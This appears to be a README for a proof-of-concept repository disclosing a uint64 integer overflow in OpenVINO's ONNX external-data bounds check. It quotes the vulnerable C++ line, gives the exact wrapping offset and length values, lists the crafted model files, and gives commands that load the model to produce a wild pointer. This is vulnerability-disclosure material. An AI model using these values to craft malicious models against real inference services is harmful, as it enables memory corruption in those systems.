0xiviel/poc-openvino-onnx-uint64-overflow

PoC: OpenVINO ONNX External Data uint64 Integer Overflow

Summary

The ONNX external data bounds check m_offset + m_data_length > file_size is vulnerable to uint64 integer overflow. When offset and length sum to exactly 2^64, the result wraps to 0, bypassing the check. The subsequent pointer arithmetic mapped_memory->data() + offset produces a wild pointer.

Confirmed on OpenVINO 2025.4.1 — model loads successfully with overflowed values.

Root Cause

tensor_external_data.cpp:47:

if (file_size <= 0 || m_offset + m_data_length > static_cast<uint64_t>(file_size)) {
    throw error::invalid_external_data{*this};
}

With offset = 0xFFFFFFFFFFFFFFF0 and length = 16:

• —offset + length = 0x10000000000000000 = 0 (mod 2^64)
• —Check: 0 > file_size → false → passes
• —Then: mapped_memory->data() + 0xFFFFFFFFFFFFFFF0 → wild pointer

Uses std::stoull (unsigned), so full uint64 range is exploitable (unlike IR format which uses stoll).

Files

• —malicious_onnx_overflow.onnx — ONNX model with overflow offset/length
• —overflow_data.bin — external data file (64 bytes)
• —poc_onnx_overflow.py — PoC generator script

Reproduction

pip install openvino onnx
python poc_onnx_overflow.py
python -c "
import openvino as ov
core = ov.Core()
model = core.read_model('malicious_onnx_overflow.onnx')
print('Model loaded with overflowed offset - wild pointer created')
"

Affected Versions

All OpenVINO versions with ONNX external data support.